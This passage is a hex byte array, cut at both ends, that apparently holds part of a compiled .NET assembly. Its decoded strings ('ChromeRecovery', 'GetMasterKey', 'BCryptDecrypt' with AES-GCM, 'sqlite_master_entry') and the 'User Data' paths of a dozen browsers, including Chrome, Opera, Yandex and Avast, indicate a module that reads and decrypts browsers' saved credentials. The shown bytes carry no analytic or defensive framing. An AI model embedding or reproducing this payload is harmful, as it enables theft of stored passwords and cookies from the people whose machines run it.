0x6E, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x54, 0x65, 0x78, 0x74, 0x2E, 0x52, 0x65, 0x67, 0x75, 0x6C, 0x61, 0x72, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x43, 0x6F, 0x6C, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x00, 0x52, 0x65, 0x67, 0x65, 0x78, 0x4F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x47, 0x72, 0x6F, 0x75, 0x70, 0x73, 0x00, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x48, 0x65, 0x6C, 0x70, 0x65, 0x72, 0x73, 0x00, 0x4F, 0x70, 0x65, 0x6E, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x00, 0x41, 0x63, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x73, 0x00, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x00, 0x61, 0x72, 0x72, 0x61, 0x79, 0x73, 0x00, 0x43, 0x6F, 0x6E, 0x63, 0x61, 0x74, 0x00, 0x46, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x00, 0x53, 0x75, 0x62, 0x74, 0x72, 0x61, 0x63, 0x74, 0x00, 0x68, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, 0x63, 0x62, 0x4B, 0x65, 0x79, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, 0x70, 0x62, 0x4B, 0x65, 0x79, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, 0x55, 0x6E, 0x70, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x00, 0x46, 0x69, 0x6C, 0x65, 0x47, 0x65, 0x74, 0x00, 0x52, 0x65, 0x61, 0x64, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x46, 0x72, 0x6F, 0x6D, 0x4F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x53, 0x70, 0x6C, 0x69, 0x74, 0x00, 0x63, 0x62, 0x53, 0x61, 0x6C, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x44, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x00, 0x70, 0x63, 0x62, 0x52, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x00, 0x64, 0x77, 0x49, 0x6E, 0x63, 0x72, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x00, 0x73, 0x71, 0x6C, 0x5F, 0x73, 0x74, 0x61, 0x74, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x00, 0x45, 0x6E, 0x76, 0x69, 0x72, 0x6F, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x50, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x00, 0x47, 0x65, 0x74, 0x50, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x00, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x00, 0x47, 0x65, 0x74, 0x52, 0x6F, 0x77, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x41, 0x63, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x42, 0x43, 0x72, 0x79, 0x70, 0x74, 0x00, 0x42, 0x43, 0x72, 0x79, 0x70, 0x74, 0x44, 0x65, 0x63, 0x72, 0x79, 0x70, 0x74, 0x00, 0x42, 0x43, 0x72, 0x79, 0x70, 0x74, 0x45, 0x6E, 0x63, 0x72, 0x79, 0x70, 0x74, 0x00, 0x54, 0x72, 0x69, 0x6D, 0x53, 0x74, 0x61, 0x72, 0x74, 0x00, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x74, 0x00, 0x63, 0x62, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x00, 0x70, 0x62, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x00, 0x63, 0x62, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x00, 0x70, 0x62, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x00, 0x4D, 0x6F, 0x76, 0x65, 0x4E, 0x65, 0x78, 0x74, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x54, 0x65, 0x78, 0x74, 0x00, 0x52, 0x65, 0x61, 0x64, 0x41, 0x6C, 0x6C, 0x54, 0x65, 0x78, 0x74, 0x00, 0x63, 0x69, 0x70, 0x68, 0x65, 0x72, 0x54, 0x65, 0x78, 0x74, 0x00, 0x63, 0x62, 0x4D, 0x61, 0x63, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x70, 0x62, 0x4D, 0x61, 0x63, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x69, 0x76, 0x00, 0x65, 0x6E, 0x64, 0x49, 0x6E, 0x64, 0x65, 0x78, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x64, 0x65, 0x78, 0x00, 0x52, 0x65, 0x67, 0x65, 0x78, 0x00, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x41, 0x72, 0x72, 0x61, 0x79, 0x00, 0x54, 0x6F, 0x41, 0x72, 0x72, 0x61, 0x79, 0x00, 0x43, 0x6F, 0x70, 0x79, 0x41, 0x72, 0x72, 0x61, 0x79, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x4B, 0x65, 0x79, 0x00, 0x52, 0x65, 0x61, 0x64, 0x4B, 0x65, 0x79, 0x00, 0x70, 0x68, 0x4B, 0x65, 0x79, 0x00, 0x44, 0x65, 0x63, 0x72, 0x79, 0x70, 0x74, 0x57, 0x69, 0x74, 0x68, 0x4B, 0x65, 0x79, 0x00, 0x47, 0x65, 0x74, 0x4D, 0x61, 0x73, 0x74, 0x65, 0x72, 0x4B, 0x65, 0x79, 0x00, 0x68, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x4B, 0x65, 0x79, 0x00, 0x42, 0x43, 0x72, 0x79, 0x70, 0x74, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x4B, 0x65, 0x79, 0x00, 0x42, 0x43, 0x72, 0x79, 0x70, 0x74, 0x44, 0x65, 0x73, 0x74, 0x72, 0x6F, 0x79, 0x4B, 0x65, 0x79, 0x00, 0x6B, 0x65, 0x79, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x2E, 0x43, 0x72, 0x79, 0x70, 0x74, 0x6F, 0x67, 0x72, 0x61, 0x70, 0x68, 0x79, 0x00, 0x4D, 0x75, 0x6C, 0x74, 0x69, 0x70, 0x6C, 0x79, 0x00, 0x42, 0x6C, 0x6F, 0x63, 0x6B, 0x43, 0x6F, 0x70, 0x79, 0x00, 0x43, 0x68, 0x72, 0x6F, 0x6D, 0x65, 0x52, 0x65, 0x63, 0x6F, 0x76, 0x65, 0x72, 0x79, 0x00, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x00, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x5F, 0x65, 0x6E, 0x74, 0x72, 0x79, 0x00, 0x73, 0x71, 0x6C, 0x69, 0x74, 0x65, 0x5F, 0x6D, 0x61, 0x73, 0x74, 0x65, 0x72, 0x5F, 0x65, 0x6E, 0x74, 0x72, 0x79, 0x00, 0x6F, 0x70, 0x5F, 0x45, 0x71, 0x75, 0x61, 0x6C, 0x69, 0x74, 0x79, 0x00, 0x6F, 0x70, 0x5F, 0x49, 0x6E, 0x65, 0x71, 0x75, 0x61, 0x6C, 0x69, 0x74, 0x79, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x00, 0x49, 0x73, 0x4E, 0x75, 0x6C, 0x6C, 0x4F, 0x72, 0x45, 0x6D, 0x70, 0x74, 0x79, 0x00, 0x42, 0x43, 0x72, 0x79, 0x70, 0x74, 0x53, 0x65, 0x74, 0x41, 0x6C, 0x67, 0x6F, 0x72, 0x69, 0x74, 0x68, 0x6D, 0x50, 0x72, 0x6F, 0x70, 0x65, 0x72, 0x74, 0x79, 0x00, 0x42, 0x43, 0x72, 0x79, 0x70, 0x74, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x70, 0x65, 0x72, 0x74, 0x79, 0x00, 0x42, 0x43, 0x72, 0x79, 0x70, 0x74, 0x53, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x70, 0x65, 0x72, 0x74, 0x79, 0x00, 0x70, 0x73, 0x7A, 0x50, 0x72, 0x6F, 0x70, 0x65, 0x72, 0x74, 0x79, 0x00, 0x00, 0x00, 0x7D, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x44, 0x00, 0x65, 0x00, 0x63, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x28, 0x00, 0x29, 0x00, 0x20, 0x00, 0x28, 0x00, 0x67, 0x00, 0x65, 0x00, 0x74, 0x00, 0x20, 0x00, 0x73, 0x00, 0x69, 0x00, 0x7A, 0x00, 0x65, 0x00, 0x29, 0x00, 0x20, 0x00, 0x66, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x77, 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00, 0x00, 0x67, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x44, 0x00, 0x65, 0x00, 0x63, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x28, 0x00, 0x29, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x61, 0x00, 0x75, 0x00, 0x74, 0x00, 0x68, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x69, 0x00, 0x63, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x74, 0x00, 0x61, 0x00, 0x67, 0x00, 0x20, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x73, 0x00, 0x6D, 0x00, 0x61, 0x00, 0x74, 0x00, 0x63, 0x00, 0x68, 0x00, 0x00, 0x65, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x44, 0x00, 0x65, 0x00, 0x63, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x28, 0x00, 0x29, 0x00, 0x20, 0x00, 0x66, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x77, 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00, 0x00, 0x80, 0x81, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x41, 0x00, 0x6C, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x6D, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x76, 0x00, 0x69, 0x00, 0x64, 0x00, 0x65, 0x00, 0x72, 0x00, 0x28, 0x00, 0x29, 0x00, 0x20, 0x00, 0x66, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x77, 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00, 0x00, 0x80, 0xF1, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x53, 0x00, 0x65, 0x00, 0x74, 0x00, 0x41, 0x00, 0x6C, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x6D, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x74, 0x00, 0x79, 0x00, 0x28, 0x00, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43, 0x00, 0x52, 0x00, 0x59, 0x00, 0x50, 0x00, 0x54, 0x00, 0x5F, 0x00, 0x43, 0x00, 0x48, 0x00, 0x41, 0x00, 0x49, 0x00, 0x4E, 0x00, 0x49, 0x00, 0x4E, 0x00, 0x47, 0x00, 0x5F, 0x00, 0x4D, 0x00, 0x4F, 0x00, 0x44, 0x00, 0x45, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43, 0x00, 0x52, 0x00, 0x59, 0x00, 0x50, 0x00, 0x54, 0x00, 0x5F, 0x00, 0x43, 0x00, 0x48, 0x00, 0x41, 0x00, 0x49, 0x00, 0x4E, 0x00, 0x5F, 0x00, 0x4D, 0x00, 0x4F, 0x00, 0x44, 0x00, 0x45, 0x00, 0x5F, 0x00, 0x47, 0x00, 0x43, 0x00, 0x4D, 0x00, 0x29, 0x00, 0x20, 0x00, 0x66, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x77, 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00, 0x00, 0x69, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x79, 0x00, 0x28, 0x00, 0x29, 0x00, 0x20, 0x00, 0x66, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x77, 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00, 0x00, 0x80, 0x83, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x74, 0x00, 0x79, 0x00, 0x28, 0x00, 0x29, 0x00, 0x20, 0x00, 0x28, 0x00, 0x67, 0x00, 0x65, 0x00, 0x74, 0x00, 0x20, 0x00, 0x73, 0x00, 0x69, 0x00, 0x7A, 0x00, 0x65, 0x00, 0x29, 0x00, 0x20, 0x00, 0x66, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x77, 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00, 0x00, 0x6D, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x42, 0x00, 0x43, 0x00, 0x72, 0x00, 0x79, 0x00, 0x70, 0x00, 0x74, 0x00, 0x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x74, 0x00, 0x79, 0x00, 0x28, 0x00, 0x29, 0x00, 0x20, 0x00, 0x66, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x77, 0x00, 0x69, 0x00, 0x74, 0x00, 0x68, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x75, 0x00, 0x73, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x3A, 0x00, 0x7B, 0x00, 0x30, 0x00, 0x7D, 0x00, 0x00, 0x19, 0x4F, 0x00, 0x62, 0x00, 0x6A, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x74, 0x00, 0x68, 0x00, 0x00, 0x1F, 0x43, 0x00, 0x68, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x47, 0x00, 0x43, 0x00, 0x4D, 0x00, 0x00, 0x1B, 0x41, 0x00, 0x75, 0x00, 0x74, 0x00, 0x68, 0x00, 0x54, 0x00, 0x61, 0x00, 0x67, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x74, 0x00, 0x68, 0x00, 0x00, 0x19, 0x43, 0x00, 0x68, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x65, 0x00, 0x00, 0x17, 0x4B, 0x00, 0x65, 0x00, 0x79, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x42, 0x00, 0x6C, 0x00, 0x6F, 0x00, 0x62, 0x00, 0x00, 0x07, 0x41, 0x00, 0x45, 0x00, 0x53, 0x00, 0x00, 0x39, 0x4D, 0x00, 0x69, 0x00, 0x63, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x73, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x20, 0x00, 0x50, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x74, 0x00, 0x69, 0x00, 0x76, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x76, 0x00, 0x69, 0x00, 0x64, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x31, 0x5C, 0x00, 0x47, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x67, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x17, 0x41, 0x00, 0x56, 0x00, 0x47, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x2D, 0x5C, 0x00, 0x41, 0x00, 0x56, 0x00, 0x47, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x4B, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x7A, 0x00, 0x61, 0x00, 0x00, 0x21, 0x5C, 0x00, 0x4B, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x7A, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x13, 0x55, 0x00, 0x52, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x29, 0x5C, 0x00, 0x55, 0x00, 0x52, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1D, 0x41, 0x00, 0x56, 0x00, 0x41, 0x00, 0x53, 0x00, 0x54, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x00, 0x43, 0x5C, 0x00, 0x41, 0x00, 0x56, 0x00, 0x41, 0x00, 0x53, 0x00, 0x54, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x53, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x57, 0x00, 0x65, 0x00, 0x62, 0x00, 0x00, 0x27, 0x5C, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x57, 0x00, 0x65, 0x00, 0x62, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x43, 0x00, 0x43, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x37, 0x5C, 0x00, 0x43, 0x00, 0x43, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x00, 0x37, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x0D, 0x59, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00, 0x78, 0x00, 0x00, 0x3D, 0x59, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00, 0x78, 0x00, 0x5C, 0x00, 0x59, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00, 0x78, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x53, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x6A, 0x00, 0x65, 0x00, 0x74, 0x00, 0x00, 0x23, 0x53, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x6A, 0x00, 0x65, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x17, 0x33, 0x00, 0x36, 0x00, 0x30, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x37, 0x5C, 0x00, 0x33, 0x00, 0x36, 0x00, 0x30, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x43, 